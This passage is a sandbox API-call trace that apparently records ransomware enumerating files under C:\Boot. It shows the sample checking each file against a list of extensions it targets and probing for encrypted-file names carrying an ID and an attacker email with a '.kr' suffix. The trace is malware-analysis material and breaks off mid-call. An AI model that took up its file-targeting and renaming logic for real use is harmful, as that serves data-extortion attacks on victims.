4 [0175.395] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0175.395] lstrcmpiW (lpString1=".LOG2", lpString2=".kr") returned 1 [0175.396] lstrlenW (lpString="BCD.LOG2") returned 8 [0175.396] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0175.396] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=0) returned 1 [0175.396] CloseHandle (hObject=0x374) returned 1 [0175.396] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0175.396] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0175.396] lstrlenW (lpString=".doc") returned 4 [0175.396] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0175.396] lstrlenW (lpString=".docx") returned 5 [0175.396] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0175.396] lstrlenW (lpString=".pdf") returned 4 [0175.396] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0175.396] lstrlenW (lpString=".xls") returned 4 [0175.396] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0175.396] lstrlenW (lpString=".xlsx") returned 5 [0175.396] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0175.396] lstrlenW (lpString=".ppt") returned 4 [0175.396] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0175.396] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0175.396] lstrlenW (lpString=".zip") returned 4 [0175.396] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0175.396] lstrlenW (lpString=".rar") returned 4 [0175.396] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0175.396] lstrlenW (lpString=".bz2") returned 4 [0175.396] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0175.396] lstrlenW (lpString=".7z") returned 3 [0175.396] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0175.397] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0175.397] lstrlenW (lpString=".dbf") returned 4 [0175.397] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0175.397] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0175.397] lstrlenW (lpString=".1cd") returned 4 [0175.397] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0175.397] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0175.397] lstrlenW (lpString=".jpg") returned 4 [0175.397] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0175.397] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0175.397] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0175.397] lstrlenW (lpString=".doc") returned 4 [0175.397] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0175.397] lstrlenW (lpString=".docx") returned 5 [0175.397] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0175.397] lstrlenW (lpString=".pdf") returned 4 [0175.397] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0175.397] lstrlenW (lpString=".xls") returned 4 [0175.397] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0175.397] lstrlenW (lpString=".xlsx") returned 5 [0175.397] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0175.397] lstrlenW (lpString=".ppt") returned 4 [0175.397] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0175.397] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0175.397] lstrlenW (lpString=".zip") returned 4 [0175.397] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0175.397] lstrlenW (lpString=".rar") returned 4 [0175.397] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0175.397] lstrlenW (lpString=".bz2") returned 4 [0175.397] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0175.397] lstrlenW (lpString=".7z") returned 3 [0175.397] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0175.397] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0175.397] lstrlenW (lpString=".dbf") returned 4 [0175.398] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0175.398] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0175.398] lstrlenW (lpString=".1cd") returned 4 [0175.398] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0175.398] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0175.398] lstrlenW (lpString=".jpg") returned 4 [0175.398] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0175.398] lstrcmpiW (lpString1=".mui", lpString2=".kr") returned 1 [0175.398] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0175.398] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0175.398] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=77664) returned 1 [0175.398] CloseHandle (hObject=0x374) returned 1 [0175.398] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0175.398] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0175.398] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.399] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0175.399] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0175.399] lstrlenW (lpString=".doc") returned 4 [0175.399] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.399] lstrlenW (lpString=".docx") returned 5 [0175.399] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.399] lstrlenW (lpString=".pdf") returned 4 [0175.399] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.399] lstrlenW (lpString=".xls") returned 4 [0175.399] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.399] lstrlenW (lpString=".xlsx") returned 5 [0175.399] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.399] lstrlenW (lpString=".ppt") returned 4 [0175.399] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.399] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0175.399] lstrlenW (lpString=".zip") returned 4 [0175.399] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.399] lstrlenW (lpString=".rar") returned 4 [0175.399] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.399] lstrlenW (lpString=".bz2") returned 4 [0175.399] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.399] lstrlenW (lpString=".7z") returned 3 [0175.399] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.399] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0175.399] lstrlenW (lpString=".dbf") returned 4 [0175.399] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.399] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0175.399] lstrlenW (lpString=".1cd") returned 4 [0175.399] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.399] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0175.399] lstrlenW (lpString=".jpg") returned 4 [0175.399] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.400] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0175.400] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0175.400] lstrlenW (lpString=".doc") returned 4 [0175.400] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.400] lstrlenW (lpString=".docx") returned 5 [0175.400] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.400] lstrlenW (lpString=".pdf") returned 4 [0175.400] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.400] lstrlenW (lpString=".xls") returned 4 [0175.400] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.400] lstrlenW (lpString=".xlsx") returned 5 [0175.400] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.400] lstrlenW (lpString=".ppt") returned 4 [0175.400] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.400] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0175.400] lstrlenW (lpString=".zip") returned 4 [0175.400] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.400] lstrlenW (lpString=".rar") returned 4 [0175.400] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.400] lstrlenW (lpString=".bz2") returned 4 [0175.400] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.400] lstrlenW (lpString=".7z") returned 3 [0175.400] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.400] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0175.400] lstrlenW (lpString=".dbf") returned 4 [0175.400] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.400] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0175.400] lstrlenW (lpString=".1cd") returned 4 [0175.400] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.400] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0175.400] lstrlenW (lpString=".jpg") returned 4 [0175.400] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.401] Sleep (dwMilliseconds=0x64) [0175.652] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0175.652] lstrlenW (lpString="bootspaces.dll") returned 14 [0175.652] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0175.654] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=95648) returned 1 [0175.654] CloseHandle (hObject=0x344) returned 1 [0175.654] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0175.654] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0175.654] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.654] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.654] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.654] lstrlenW (lpString=".doc") returned 4 [0175.654] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0175.654] lstrlenW (lpString=".docx") returned 5 [0175.654] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0175.654] lstrlenW (lpString=".pdf") returned 4 [0175.654] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0175.655] lstrlenW (lpString=".xls") returned 4 [0175.655] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0175.655] lstrlenW (lpString=".xlsx") returned 5 [0175.655] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0175.655] lstrlenW (lpString=".ppt") returned 4 [0175.655] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0175.655] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.655] lstrlenW (lpString=".zip") returned 4 [0175.655] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0175.655] lstrlenW (lpString=".rar") returned 4 [0175.655] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0175.655] lstrlenW (lpString=".bz2") returned 4 [0175.655] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0175.655] lstrlenW (lpString=".7z") returned 3 [0175.655] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0175.655] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.655] lstrlenW (lpString=".dbf") returned 4 [0175.655] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0175.655] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.655] lstrlenW (lpString=".1cd") returned 4 [0175.655] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0175.655] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.655] lstrlenW (lpString=".jpg") returned 4 [0175.655] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0175.655] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.655] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.655] lstrlenW (lpString=".doc") returned 4 [0175.655] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0175.655] lstrlenW (lpString=".docx") returned 5 [0175.655] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0175.655] lstrlenW (lpString=".pdf") returned 4 [0175.655] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0175.655] lstrlenW (lpString=".xls") returned 4 [0175.655] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0175.656] lstrlenW (lpString=".xlsx") returned 5 [0175.656] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0175.656] lstrlenW (lpString=".ppt") returned 4 [0175.656] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0175.656] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.656] lstrlenW (lpString=".zip") returned 4 [0175.656] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0175.656] lstrlenW (lpString=".rar") returned 4 [0175.656] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0175.656] lstrlenW (lpString=".bz2") returned 4 [0175.656] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0175.656] lstrlenW (lpString=".7z") returned 3 [0175.656] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0175.656] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.656] lstrlenW (lpString=".dbf") returned 4 [0175.656] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0175.656] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.656] lstrlenW (lpString=".1cd") returned 4 [0175.656] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0175.656] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.656] lstrlenW (lpString=".jpg") returned 4 [0175.656] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0175.656] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0175.657] lstrlenW (lpString="bootvhd.dll") returned 11 [0175.657] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0175.657] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=99744) returned 1 [0175.657] CloseHandle (hObject=0x344) returned 1 [0175.657] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0175.657] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0175.657] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.657] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.657] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.657] lstrlenW (lpString=".doc") returned 4 [0175.657] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0175.657] lstrlenW (lpString=".docx") returned 5 [0175.657] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0175.657] lstrlenW (lpString=".pdf") returned 4 [0175.657] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0175.657] lstrlenW (lpString=".xls") returned 4 [0175.657] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0175.657] lstrlenW (lpString=".xlsx") returned 5 [0175.658] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0175.658] lstrlenW (lpString=".ppt") returned 4 [0175.658] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0175.658] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.658] lstrlenW (lpString=".zip") returned 4 [0175.658] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0175.658] lstrlenW (lpString=".rar") returned 4 [0175.658] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0175.658] lstrlenW (lpString=".bz2") returned 4 [0175.658] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0175.658] lstrlenW (lpString=".7z") returned 3 [0175.658] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0175.658] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.658] lstrlenW (lpString=".dbf") returned 4 [0175.658] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0175.658] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.658] lstrlenW (lpString=".1cd") returned 4 [0175.658] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0175.658] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.658] lstrlenW (lpString=".jpg") returned 4 [0175.658] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0175.658] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.658] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.658] lstrlenW (lpString=".doc") returned 4 [0175.658] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0175.658] lstrlenW (lpString=".docx") returned 5 [0175.658] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0175.658] lstrlenW (lpString=".pdf") returned 4 [0175.658] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0175.658] lstrlenW (lpString=".xls") returned 4 [0175.658] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0175.658] lstrlenW (lpString=".xlsx") returned 5 [0175.658] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0175.659] lstrlenW (lpString=".ppt") returned 4 [0175.659] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0175.659] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.659] lstrlenW (lpString=".zip") returned 4 [0175.659] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0175.659] lstrlenW (lpString=".rar") returned 4 [0175.659] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0175.659] lstrlenW (lpString=".bz2") returned 4 [0175.659] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0175.659] lstrlenW (lpString=".7z") returned 3 [0175.659] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0175.659] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.659] lstrlenW (lpString=".dbf") returned 4 [0175.659] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0175.659] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.659] lstrlenW (lpString=".1cd") returned 4 [0175.659] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0175.659] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0175.659] lstrlenW (lpString=".jpg") returned 4 [0175.659] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0175.659] lstrcmpiW (lpString1=".mui", lpString2=".kr") returned 1 [0175.659] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0175.659] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0175.660] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=76632) returned 1 [0175.660] CloseHandle (hObject=0x344) returned 1 [0175.660] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0175.660] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0175.660] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.660] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.660] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.660] lstrlenW (lpString=".doc") returned 4 [0175.660] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.660] lstrlenW (lpString=".docx") returned 5 [0175.660] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.660] lstrlenW (lpString=".pdf") returned 4 [0175.660] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.660] lstrlenW (lpString=".xls") returned 4 [0175.660] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.660] lstrlenW (lpString=".xlsx") returned 5 [0175.660] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.660] lstrlenW (lpString=".ppt") returned 4 [0175.660] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.660] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.660] lstrlenW (lpString=".zip") returned 4 [0175.660] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.660] lstrlenW (lpString=".rar") returned 4 [0175.660] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.660] lstrlenW (lpString=".bz2") returned 4 [0175.660] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.661] lstrlenW (lpString=".7z") returned 3 [0175.661] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.661] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.661] lstrlenW (lpString=".dbf") returned 4 [0175.661] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.661] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.661] lstrlenW (lpString=".1cd") returned 4 [0175.661] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.661] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.661] lstrlenW (lpString=".jpg") returned 4 [0175.661] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.661] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.661] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.661] lstrlenW (lpString=".doc") returned 4 [0175.661] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.661] lstrlenW (lpString=".docx") returned 5 [0175.661] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.661] lstrlenW (lpString=".pdf") returned 4 [0175.661] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.661] lstrlenW (lpString=".xls") returned 4 [0175.661] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.661] lstrlenW (lpString=".xlsx") returned 5 [0175.661] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.661] lstrlenW (lpString=".ppt") returned 4 [0175.661] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.661] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.661] lstrlenW (lpString=".zip") returned 4 [0175.661] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.661] lstrlenW (lpString=".rar") returned 4 [0175.661] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.661] lstrlenW (lpString=".bz2") returned 4 [0175.661] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.661] lstrlenW (lpString=".7z") returned 3 [0175.661] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.662] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.662] lstrlenW (lpString=".dbf") returned 4 [0175.662] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.662] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.662] lstrlenW (lpString=".1cd") returned 4 [0175.662] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.662] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.662] lstrlenW (lpString=".jpg") returned 4 [0175.662] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.662] lstrcmpiW (lpString1=".mui", lpString2=".kr") returned 1 [0175.662] lstrlenW (lpString="memtest.exe.mui") returned 15 [0175.662] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0175.662] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=45472) returned 1 [0175.662] CloseHandle (hObject=0x344) returned 1 [0175.662] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0175.662] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0175.662] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), 